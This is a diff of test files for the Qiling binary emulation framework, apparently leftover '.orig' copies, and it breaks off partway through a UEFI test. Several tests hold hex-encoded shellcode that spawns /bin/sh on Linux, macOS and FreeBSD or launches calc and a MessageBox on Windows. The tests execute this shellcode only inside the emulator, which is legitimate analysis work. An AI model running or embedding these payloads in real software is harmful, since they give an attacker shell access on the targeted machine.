+#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import cProfile +import pstats +import sys +import inspect +import os as pyos + +sys.path.append("..") +from qiling import * + +from test_elf import * +from test_macho import * +from test_shellcode import * + +perf_res_dir = "./perf_results/" + +test_mapping = [ + +] + +def populate_tests(): + global test_mapping + + unit_tests = [ELFTest(), MACHOTest(), TestShellcode()] + + for ut in unit_tests: + ut_functions = inspect.getmembers(ut, predicate = inspect.ismethod) + for test_name, test_fn in ut_functions: + if not test_name.startswith("test_"): continue + outfile = perf_res_dir + test_name + ".perf" + test_mapping.append( (test_fn, outfile) ) + +def ql_profile(run_fn, outfile): + pr = cProfile.Profile() + pr.enable() + run_fn() + pr.disable() + pr.dump_stats(outfile) + pr.print_stats() + +def profile_all_functions(): + if not pyos.path.isdir("perf_results"): + pyos.mkdir("perf_results") + + populate_tests() + + for tm_func, rm_outfile in test_mapping: + try: + ql_profile(tm_func, rm_outfile) + except: + pass + +if __name__ == "__main__": + profile_all_functions() \ No newline at end of file diff --git a/tests/test_peshellcode.py.orig b/tests/test_peshellcode.py.orig new file mode 100644 index 000000000..72ed657f4 --- /dev/null +++ b/tests/test_peshellcode.py.orig @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest + +sys.path.append("..") +from qiling import Qiling + +X86_WIN = bytes.fromhex(''' + fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c + 617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b5920 + 01d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475 + e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ff + e05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd5 + 3c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300 +''') + +X8664_WIN = bytes.fromhex(''' + fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52 + 183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1 + c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0 + 746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d + 31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b + 40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e + 595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7 + c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd5 + 4831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373 + 616765426f7800 +''') + +POINTER_TEST = bytes.fromhex('1122334455667788') + +class PEShellcodeTest(unittest.TestCase): + def test_windowssc_x86(self): + ql = Qiling(code=X86_WIN, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") + ql.run() + del ql + + + def test_windowssc_x64(self): + ql = Qiling(code=X8664_WIN, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") + ql.run() + del ql + + def test_read_ptr32(self): + ql = Qiling(code=POINTER_TEST, archtype="x86", ostype="windows", rootfs="../examples/rootfs/x86_windows") + + addr = ql.loader.entry_point + self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) + self.assertEqual(0x2211, ql.mem.read_ptr(addr, 2)) + self.assertEqual(0x44332211, ql.mem.read_ptr(addr, 4)) + self.assertEqual(0x44332211, ql.mem.read_ptr(addr)) + self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr, 8)) + del ql + + def test_read_ptr64(self): + ql = Qiling(code=POINTER_TEST, archtype="x8664", ostype="windows", rootfs="../examples/rootfs/x8664_windows") + + addr = ql.loader.entry_point + self.assertEqual(0x11, ql.mem.read_ptr(addr, 1)) + self.assertEqual(0x2211, ql.mem.read_ptr(addr, 2)) + self.assertEqual(0x44332211, ql.mem.read_ptr(addr, 4)) + self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr, 8)) + self.assertEqual(0x8877665544332211, ql.mem.read_ptr(addr)) + del ql + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_posix.py.orig b/tests/test_posix.py.orig new file mode 100644 index 000000000..3f24483c6 --- /dev/null +++ b/tests/test_posix.py.orig @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys,unittest + +sys.path.append("..") +from qiling import * +from qiling.exception import * +from test_elf import * +from test_riscv import * +from test_qltool import * + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/tests/test_qdb.py.orig b/tests/test_qdb.py.orig new file mode 100644 index 000000000..0a0da506c --- /dev/null +++ b/tests/test_qdb.py.orig @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest + +sys.path.append("..") +from qiling import Qiling + +class DebuggerTest(unittest.TestCase): + + def test_qdb_mips32el_hello(self): + rootfs = "../examples/rootfs/mips32el_linux" + path = rootfs + "/bin/mips32el_hello" + + ql = Qiling([path], rootfs) + ql.debugger = "qdb::rr:qdb_scripts/mips32el.qdb" + ql.run() + del ql + + def test_qdb_arm_hello(self): + rootfs = "../examples/rootfs/arm_linux" + path = rootfs + "/bin/arm_hello" + + ql = Qiling([path], rootfs) + ql.debugger = "qdb::rr:qdb_scripts/arm.qdb" + ql.run() + del ql + + def test_qdb_x86_hello(self): + rootfs = "../examples/rootfs/x86_linux" + path = rootfs + "/bin/x86_hello" + + ql = Qiling([path], rootfs) + ql.debugger = "qdb::rr:qdb_scripts/x86.qdb" + ql.run() + del ql + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_qltool.py b/tests/test_qltool.py index 8b85c9dc4..0640336b5 100644 --- a/tests/test_qltool.py +++ b/tests/test_qltool.py @@ -17,9 +17,9 @@ def test_qltool_exec_args(self): p = subprocess.Popen(create, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) for line in iter(p.stdout.readline, b''): self.stdout = line - + self.assertEqual(b'arg 2 test3\n', self.stdout) - + def test_qltool_shellcode(self): create = [sys.executable, '../qltool', 'code', '--os','linux','--arch', 'x86', '--format', 'asm', '-f', '../examples/shellcodes/lin32_execve.asm'] diff --git a/tests/test_qltool.py.orig b/tests/test_qltool.py.orig new file mode 100644 index 000000000..8b85c9dc4 --- /dev/null +++ b/tests/test_qltool.py.orig @@ -0,0 +1,58 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, subprocess, unittest + +sys.path.append("..") +from qiling import * +from qiling.exception import * + +import os + +class Qltool_Test(unittest.TestCase): + def test_qltool_exec_args(self): + create = [sys.executable, '../qltool', 'run', '-f', '../examples/rootfs/x8664_linux/bin/x8664_args', '--rootfs', '../examples/rootfs/x8664_linux', '--verbose', 'off', '--args', 'test1', 'test2' ,'test3'] + p = subprocess.Popen(create, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + for line in iter(p.stdout.readline, b''): + self.stdout = line + + self.assertEqual(b'arg 2 test3\n', self.stdout) + + + def test_qltool_shellcode(self): + create = [sys.executable, '../qltool', 'code', '--os','linux','--arch', 'x86', '--format', 'asm', '-f', '../examples/shellcodes/lin32_execve.asm'] + try: + subprocess.check_output(create,stderr=subprocess.STDOUT) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + + def test_qltool_coverage(self): + os.makedirs("./log_test", exist_ok=True) + create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x8664_efi/bin/TcgPlatformSetupPolicy','--rootfs', '../examples/rootfs/x8664_efi','--coverage-format', 'drcov', '--coverage-file', 'log_test/TcgPlatformSetupPolicy'] + try: + subprocess.check_output(create, stderr=subprocess.STDOUT) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + + def test_qltool_json(self): + create = [sys.executable, '../qltool', 'run', '-f','../examples/rootfs/x86_linux/bin/x86_hello','--rootfs', '../examples/rootfs/x86_linux','--verbose', 'off', '--json'] + try: + subprocess.check_output(create, stderr=subprocess.STDOUT) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + + def test_qltool_filter(self): + create = [sys.executable, '../qltool', 'run', '-f', '../examples/rootfs/arm_linux/bin/arm_hello', '--rootfs', '../examples/rootfs/arm_linux', '-e', '^(open|brk)', '--log-plain'] + try: + output = subprocess.check_output(create, stderr=subprocess.STDOUT) + except subprocess.CalledProcessError as e: + raise RuntimeError("command '{}' return with error (code {}): {}".format(e.cmd, e.returncode, e.output)) + + lines = [ line.strip('[=]\t') for line in output.decode().split("\n")] + self.assertTrue(all(filter(lambda x: x.startswith("open") or x.startswith("brk"), lines))) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_qnx.py.orig b/tests/test_qnx.py.orig new file mode 100644 index 000000000..0303c7fb3 --- /dev/null +++ b/tests/test_qnx.py.orig @@ -0,0 +1,80 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest + +sys.path.append("..") +from qiling import * +from qiling.exception import * +from qiling.const import QL_VERBOSE +from qiling.const import QL_INTERCEPT, QL_CALL_BLOCK, QL_VERBOSE +from qiling.os.const import STRING + +class QNXTest(unittest.TestCase): + + def test_arm_qnx_static(self): + env = { + "FOO": "bar" + } + ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_static", "foo", "bar"], "../examples/rootfs/arm_qnx", env=env, verbose=QL_VERBOSE.DEBUG) + ql.run() + + + def test_arm_qnx_sqrt(self): + ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_sqrt"], "../examples/rootfs/arm_qnx", verbose=QL_VERBOSE.DEBUG) + ql.run() + + + def test_set_api_arm_qnx_sqrt(self): + self.set_api_puts_onenter = False + self.set_api_puts_onexit = False + self.set_api_printf_onenter = False + self.set_api_printf_onexit = False + + def my_puts_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'puts("{params["s"]}")') + self.set_api_puts_onenter = True + return QL_CALL_BLOCK + + def my_puts_onexit(ql: Qiling): + print(f'after puts') + self.set_api_puts_onexit = True + return QL_CALL_BLOCK + + def my_printf_onenter(ql: Qiling): + params = ql.os.resolve_fcall_params({'s': STRING}) + + print(f'printf("{params["s"]}")') + self.set_api_printf_onenter = True + return QL_CALL_BLOCK + + def my_printf_onexit(ql: Qiling): + print(f'after printf') + self.set_api_printf_onexit = True + return QL_CALL_BLOCK + + ql = Qiling(["../examples/rootfs/arm_qnx/bin/hello_sqrt"], "../examples/rootfs/arm_qnx", verbose=QL_VERBOSE.DEBUG) + ql.os.set_api('puts', my_puts_onenter, QL_INTERCEPT.ENTER) + ql.os.set_api('printf', my_printf_onenter, QL_INTERCEPT.ENTER) + + # ql.os.set_api('puts', my_puts_onexit, QL_INTERCEPT.EXIT) + ql.os.set_api('printf', my_printf_onexit, QL_INTERCEPT.EXIT) + + ql.run() + + self.assertEqual(False, self.set_api_puts_onenter) + self.assertEqual(False, self.set_api_puts_onexit) + self.assertEqual(True, self.set_api_printf_onenter) + self.assertEqual(True, self.set_api_printf_onexit) + + del self.set_api_puts_onenter + del self.set_api_puts_onexit + del self.set_api_printf_onenter + del self.set_api_printf_onexit + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_r2.py.orig b/tests/test_r2.py.orig new file mode 100644 index 000000000..b25681089 --- /dev/null +++ b/tests/test_r2.py.orig @@ -0,0 +1,36 @@ +#!/usr/bin/env python3 + +import sys, unittest + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_VERBOSE + +try: + from qiling.extensions.r2.r2 import R2 +except ImportError: + test_r2 = False +else: + test_r2 = True + +EVM_CODE = bytes.fromhex("6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029") + + +@unittest.skipUnless(test_r2, 'libr is missing') +class R2Test(unittest.TestCase): + def test_shellcode_disasm(self): + ql = Qiling(code=EVM_CODE, archtype="evm", verbose=QL_VERBOSE.DISABLED) + r2 = R2(ql) + pd = r2._cmd("pd 32") + self.assertTrue('callvalue' in pd) + + def test_addr_flag(self): + ql = Qiling(["../examples/rootfs/x86_windows/bin/x86_hello.exe"], "../examples/rootfs/x86_windows", + verbose=QL_VERBOSE.DISABLED) # x8864_hello does not have 'main' + r2 = R2(ql) + print(r2.where('main')) + self.assertEqual(r2.at(r2.where('main')), 'main') + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_riscv.py.orig b/tests/test_riscv.py.orig new file mode 100644 index 000000000..f1013fbed --- /dev/null +++ b/tests/test_riscv.py.orig @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +sys.path.append("..") + +from qiling.core import Qiling +from qiling.const import QL_VERBOSE, QL_INTERCEPT +from qiling.extensions.pipe import SimpleOutStream + +class RISCVTest(unittest.TestCase): + def test_riscv32_hello_linux(self): + stdout = SimpleOutStream(1) + ql = Qiling(['../examples/rootfs/riscv32_linux/bin/hello'], '../examples/rootfs/riscv32_linux/', + verbose=QL_VERBOSE.DEFAULT) + + def close(ql, fd): + return 0 + ql.os.set_syscall("close", close, QL_INTERCEPT.CALL) + ql.os.stdout = stdout + ql.run() + self.assertTrue(stdout.read() == b'Hello, World!\n') + + del ql + + def test_riscv64_hello_linux(self): + stdout = SimpleOutStream(1) + ql = Qiling(['../examples/rootfs/riscv64_linux/bin/hello'], '../examples/rootfs/riscv64_linux/', + verbose=QL_VERBOSE.DEFAULT) + + def close(ql, fd): + return 0 + ql.os.set_syscall("close", close, QL_INTERCEPT.CALL) + ql.os.stdout = stdout + ql.run() + self.assertTrue(stdout.read() == b'Hello, World!\n') + + del ql + + def test_riscv64_hello_dyn_linux(self): + stdout = SimpleOutStream(1) + ql = Qiling(['../examples/rootfs/riscv64_linux/bin/hello-linux'], '../examples/rootfs/riscv64_linux/', + verbose=QL_VERBOSE.DEFAULT) + + ql.os.stdout = stdout + ql.run() + self.assertTrue(stdout.read() == b'Hello, World!\n') + + del ql + + def test_riscv32_hello_dyn_linux(self): + stdout = SimpleOutStream(1) + ql = Qiling(['../examples/rootfs/riscv32_linux/bin/hello-linux'], '../examples/rootfs/riscv32_linux/', + verbose=QL_VERBOSE.DEFAULT) + + ql.os.stdout = stdout + ql.run() + self.assertTrue(stdout.read() == b'Hello, World!\n') + + del ql + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/tests/test_shellcode.py.orig b/tests/test_shellcode.py.orig new file mode 100644 index 000000000..8d01e4e59 --- /dev/null +++ b/tests/test_shellcode.py.orig @@ -0,0 +1,97 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +from binascii import unhexlify + +sys.path.append("..") +from qiling import * +from qiling.exception import * +from qiling.const import QL_VERBOSE + +test = unhexlify('cccc') +X86_LIN = unhexlify('31c050682f2f7368682f62696e89e3505389e1b00bcd80') +X8664_LIN = unhexlify('31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05') +MIPS32EL_LIN = unhexlify('ffff0628ffffd004ffff05280110e4270ff08424ab0f02240c0101012f62696e2f7368') +X86_WIN = unhexlify('fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a01eb2668318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5e8d5ffffff63616c6300') +X8664_WIN = unhexlify('fc4881e4f0ffffffe8d0000000415141505251564831d265488b52603e488b52183e488b52203e488b72503e480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed5241513e488b52203e8b423c4801d03e8b80880000004885c0746f4801d0503e8b48183e448b40204901d0e35c48ffc93e418b34884801d64d31c94831c0ac41c1c90d4101c138e075f13e4c034c24084539d175d6583e448b40244901d0663e418b0c483e448b401c4901d03e418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a3e488b12e949ffffff5d49c7c1000000003e488d95fe0000003e4c8d850f0100004831c941ba45835607ffd54831c941baf0b5a256ffd548656c6c6f2c2066726f6d204d534621004d657373616765426f7800') +ARM_LIN = unhexlify('01308fe213ff2fe178460e300190491a921a0827c251033701df2f62696e2f2f7368') +ARM_THUMB = unhexlify('401c01464fea011200bf') +ARM64_LIN = unhexlify('420002ca210080d2400080d2c81880d2010000d4e60300aa01020010020280d2681980d2010000d4410080d2420002cae00306aa080380d2010000d4210400f165ffff54e0000010420002ca210001caa81b80d2010000d4020004d27f0000012f62696e2f736800') +X8664_FBSD = unhexlify('6a61586a025f6a015e990f054897baff02aaaa80f2ff524889e699046680c2100f05046a0f05041e4831f6990f0548976a035852488d7424f080c2100f0548b8523243427730637257488d3e48af74084831c048ffc00f055f4889d04889fe48ffceb05a0f0575f799043b48bb2f62696e2f2f73685253545f5257545e0f05') +X8664_macos = unhexlify('4831f65648bf2f2f62696e2f7368574889e74831d24831c0b00248c1c828b03b0f05') + +class TestShellcode(unittest.TestCase): + def test_linux_x86(self): + print("Linux X86 32bit Shellcode") + ql = Qiling(code = X86_LIN, archtype = "x86", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql.run() + + def test_linux_x64(self): + print("Linux X86 64bit Shellcode") + ql = Qiling(code = X8664_LIN, archtype = "x8664", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql.run() + + def test_linux_mips32(self): + print("Linux MIPS 32bit EL Shellcode") + ql = Qiling(code = MIPS32EL_LIN, archtype = "mips", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql.run() + + #This shellcode needs to be changed to something non-blocking + def test_linux_arm(self): + print("Linux ARM 32bit Shellcode") + ql = Qiling(code = ARM_LIN, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql.run() + + + def test_linux_arm_thumb(self): + print("Linux ARM Thumb Shllcode") + ql = Qiling(code = ARM_THUMB, archtype = "arm", ostype = "linux", verbose=QL_VERBOSE.OFF, thumb = True) + ql.run() + + + def test_linux_arm64(self): + print("Linux ARM 64bit Shellcode") + ql = Qiling(code = ARM64_LIN, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.OFF) + ql.run() + + # #This shellcode needs to be changed to something simpler not requiring rootfs + # def test_windows_x86(self): + # print("Windows X86 32bit Shellcode") + # ql = Qiling(code = X86_WIN, archtype = "x86", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql.run() + + # #This shellcode needs to be changed to something simpler not requiring rootfs + # def test_windows_x64(self): + # print("\nWindows X8664 64bit Shellcode") + # ql = Qiling(code = X8664_WIN, archtype = "x8664", ostype = "windows", rootfs="../examples/rootfs/x86_reactos", verbose=QL_VERBOSE.OFF) + # ql.run() + + #This shellcode needs to be changed to something simpler, listen is blocking + #def test_freebsd_x64(self): + # print("FreeBSD X86 64bit Shellcode") + # ql = Qiling(code = X8664_FBSD, archtype = "x8664", ostype = "freebsd", verbose=QL_VERBOSE.OFF) + # ql.run() + + # def test_macos_x64(self): + # print("macos X86 64bit Shellcode") + # ql = Qiling(code = X8664_macos, archtype = "x8664", ostype = "macos", verbose=QL_VERBOSE.OFF) + # ql.run() + + # def test_invalid_os(self): + # print("Testing Unknown OS") + # self.assertRaises(QlErrorOsType, Qiling, code = test, archtype = "arm64", ostype = "qilingos", verbose=QL_VERBOSE.DEFAULT ) + + # def test_invalid_arch(self): + # print("Testing Unknown Arch") + # self.assertRaises(QlErrorArch, Qiling, code = test, archtype = "qilingarch", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) + + # def test_invalid_output(self): + # print("Testing Invalid output") + # self.assertRaises(QlErrorOutput, Qiling, code = test, archtype = "arm64", ostype = "linux", verbose=QL_VERBOSE.DEFAULT ) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_struct.py.orig b/tests/test_struct.py.orig new file mode 100644 index 000000000..9ffa82c30 --- /dev/null +++ b/tests/test_struct.py.orig @@ -0,0 +1,160 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import sys, unittest +from typing import Optional + +sys.path.append("..") + +import ctypes + +from qiling import Qiling +from qiling.const import QL_ARCH, QL_OS +from qiling.os.struct import BaseStruct + +class DummyInternalStruct(BaseStruct): + _fields_ = [ + ('X', ctypes.c_uint32) + ] + + # this is defined to let 'assertEqual' work as expected + def __eq__(self, other) -> bool: + return isinstance(other, DummyInternalStruct) and self.X == other.X + + +class DummyStruct(BaseStruct): + _fields_ = [ + ('A', ctypes.c_uint32), + ('B', ctypes.c_uint64), + ('C', DummyInternalStruct), + ('D', ctypes.c_char * 16) + ] + + +# we only need context and not going to run anything anyway, so just use whatever +NOPSLED = b'\x90' * 8 +ROOTFS = r'../examples/rootfs/x8664_linux' + +class StructTest(unittest.TestCase): + + def setUp(self) -> None: + ql = Qiling(code=NOPSLED, rootfs=ROOTFS, archtype=QL_ARCH.X8664, ostype=QL_OS.LINUX) + + self.ptr = 0x100000 + self.mem = ql.mem + + self.expected = { + 'A' : 0xdeadface, + 'B' : 0x1020304050607080, + 'C' : DummyInternalStruct(0x11213141), + 'D' : b'Hello World!', + } + + # create a dummy structure with expected values + dummy = DummyStruct(**self.expected) + + # emit dummy structure to memory + ql.mem.map(self.ptr, ql.mem.align_up(dummy.sizeof())) + ql.mem.write(self.ptr, bytes(dummy)) + + + def __read_data(self, offset: int = 0, size: Optional[int] = None) -> bytearray: + return self.mem.read(self.ptr + offset, size or DummyStruct.sizeof()) + + + def __write_data(self, offset: int, data: bytes) -> None: + self.mem.write(self.ptr + offset, data) + + + @staticmethod + def __to_uint(data: bytearray) -> int: + return int.from_bytes(data, 'little', signed=False) + + + def test_load_from(self): + dummy = DummyStruct.load_from(self.mem, self.ptr) + + self.assertEqual(self.expected['A'], dummy.A) + self.assertEqual(self.expected['B'], dummy.B) + self.assertEqual(self.expected['C'], dummy.C) + self.assertEqual(self.expected['D'], dummy.D) + + + def test_save_to(self): + dummy = DummyStruct( + A=0x0c0a0f0e, + B=0x1828384858687888, + C=DummyInternalStruct(0x19293949), + D=b'Goodbye World!' + ) + + dummy.save_to(self.mem, self.ptr) + + obj_data = bytes(dummy) + mem_data = self.__read_data() + + self.assertEqual(obj_data, mem_data) + + def test_ref_discard(self): + data_before = self.__read_data() + + unused = [] + with DummyStruct.ref(self.mem, self.ptr) as dummy: + print(f'B = {dummy.B:#x}') + print(f'C = {dummy.C}') + + unused.append(dummy.A + 1337) + + data_after = self.__read_data() + + self.assertEqual(data_before, data_after) + + def test_ref_save(self): + expected = 0x10303070 + + with DummyStruct.ref(self.mem, self.ptr) as dummy: + print(f'B = {dummy.B:#x}') + print(f'C = {dummy.C}') + + dummy.A = expected + + data = self.__read_data(DummyStruct.offsetof('A'), 4) + self.assertEqual(expected, StructTest.__to_uint(data)) + + def test_ref_save_internal(self): + expected = 0x16363676 + + with DummyStruct.ref(self.mem, self.ptr) as dummy: + dummy.C.X = expected + + data = self.__read_data(DummyStruct.offsetof('C') + DummyInternalStruct.offsetof('X'), 4) + self.assertEqual(expected, StructTest.__to_uint(data)) + + def test_volatile_ref(self): + dummy = DummyStruct.volatile_ref(self.mem, self.ptr) + + expected = 0x01030307 + dummy.A = expected + data = self.__read_data(DummyStruct.offsetof('A'), 4) + self.assertEqual(expected, StructTest.__to_uint(data)) + + self.assertEqual(self.expected['B'], dummy.B) + self.assertEqual(self.expected['C'], dummy.C) + + expected = b'Volatility Test!' + self.__write_data(DummyStruct.offsetof('D'), expected) + self.assertEqual(expected, dummy.D) + + def test_volatile_ref_internal(self): + dummy = DummyStruct.volatile_ref(self.mem, self.ptr) + + expected = 0x51535357 + dummy.C.X = expected + data = self.__read_data(DummyStruct.offsetof('C') + DummyInternalStruct.offsetof('X'), 4) + self.assertEqual(expected, StructTest.__to_uint(data)) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_tendaac15_httpd.py.orig b/tests/test_tendaac15_httpd.py.orig new file mode 100644 index 000000000..fd8632b98 --- /dev/null +++ b/tests/test_tendaac15_httpd.py.orig @@ -0,0 +1,93 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# Built on top of Unicorn emulator (www.unicorn-engine.org) + + +# 1. Download AC15 Firmware from https://down.tenda.com.cn/uploadfile/AC15/US_AC15V1.0BR_V15.03.05.19_multi_TD01.zip +# 2. unzip +# 3. binwalk -e US_AC15V1.0BR_V15.03.05.19_multi_TD01.bin +# 4. locate squashfs-root +# 5. rm -rf webroot && mv webroot_ro webroot +# +# notes: we are using rootfs in this example, so rootfs = squashfs-root +# + +import http.client, json, os, socket, sys, time, threading, unittest + +sys.path.append("..") +from qiling import Qiling +from qiling.const import QL_VERBOSE + +class ELFTest(unittest.TestCase): + + def test_tenda_ac15_arm(self): + + def nvram_listener(): + server_address = '../examples/rootfs/arm_tendaac15/var/cfm_socket' + data = "" + + try: + os.unlink(server_address) + except OSError: + if os.path.exists(server_address): + raise + + # Create UDS socket + sock = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM) + sock.bind(server_address) + sock.listen(1) + + while True: + connection, client_address = sock.accept() + try: + while True: + data += str(connection.recv(1024)) + + if "lan.webiplansslen" in data: + connection.send('192.168.170.169'.encode()) + else: + break + data = "" + finally: + connection.close() + + def patcher(ql): + br0_addr = ql.mem.search("br0".encode() + b'\x00') + for addr in br0_addr: + ql.mem.write(addr, b'lo\x00') + + def my_tenda(): + ql = Qiling(["../examples/rootfs/arm_tendaac15/bin/httpd"], "../examples/rootfs/arm_tendaac15", verbose=QL_VERBOSE.DEBUG) + ql.add_fs_mapper("/dev/urandom","/dev/urandom") + ql.hook_address(patcher, ql.loader.elf_entry) + ql.run() + del ql + + if __name__ == "__main__": + + threadLock = threading.Lock() + threads = [] + + nvram_listener_therad = threading.Thread(target=nvram_listener, daemon=True) + mytenda_therad = threading.Thread(target=my_tenda, daemon=True) + + nvram_listener_therad.start() + mytenda_therad.start() + + threads.append(nvram_listener_therad) + threads.append(mytenda_therad) + + time.sleep(5) + + conn = http.client.HTTPConnection('localhost', 8080, timeout=10) + headers = {'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded'} + web_data = {'page': 'CCCCAAAA', 'entrys':'sync'} + json_data = json.dumps(web_data) + conn.request('POST', '/goform/addressNat', json_data, headers) + response = conn.getresponse() + self.assertIn("Please update your documents to reflect the new location.", response.read().decode()) + + +if __name__ == "__main__": + unittest.main() \ No newline at end of file diff --git a/tests/test_uefi.py.orig b/tests/test_uefi.py.orig new file mode 100644 index 000000000..f29420d91 --- /dev/null +++ b/tests/test_uefi.py.orig @@ -0,0 +1,115 @@ +#!/usr/bin/env python3 +# +# Cross Platform and Multi Architecture Advanced Binary Emulation Framework +# + +import pickle, sys, unittest + +sys.path.append("..") +from qiling import Qiling +from qiling.extensions.sanitizers.heap import QlSanitizedMemoryHeap +from qiling.const import QL_INTERCEPT, QL_VERBOSE +from qiling.os.uefi import utils +from qiling.os.uefi.const import EFI_SUCCESS, EFI_INVALID_PARAMETER + +ROOTFS_UEFI = r'../examples/rootfs/x8664_efi' + +class Checklist: + def __init__(self) -> None: + self.visited_oncall = False + self.visited_onenter = False + self.visited_onexit = False + +class Test_UEFI(unittest.TestCase): + def test_x8664_uefi_santizier(self): + def my_abort(msg: str): + print(f"\n*** {msg} ***\n") + + def enable_sanitized_heap(ql: Qiling): + heap = QlSanitizedMemoryHeap(ql, ql.os.heap, fault_rate=0) + + heap.oob_handler = lambda *args: my_abort(f'Out-of-bounds read detected') + heap.bo_handler = lambda *args: my_abort(f'Buffer overflow/underflow detected') + heap.bad_free_handler = lambda *args: my_abort(f'Double free or bad free detected') + heap.uaf_handler = lambda *args: my_abort(f'Use-after-free detected') + + # make sure future allocated buffers 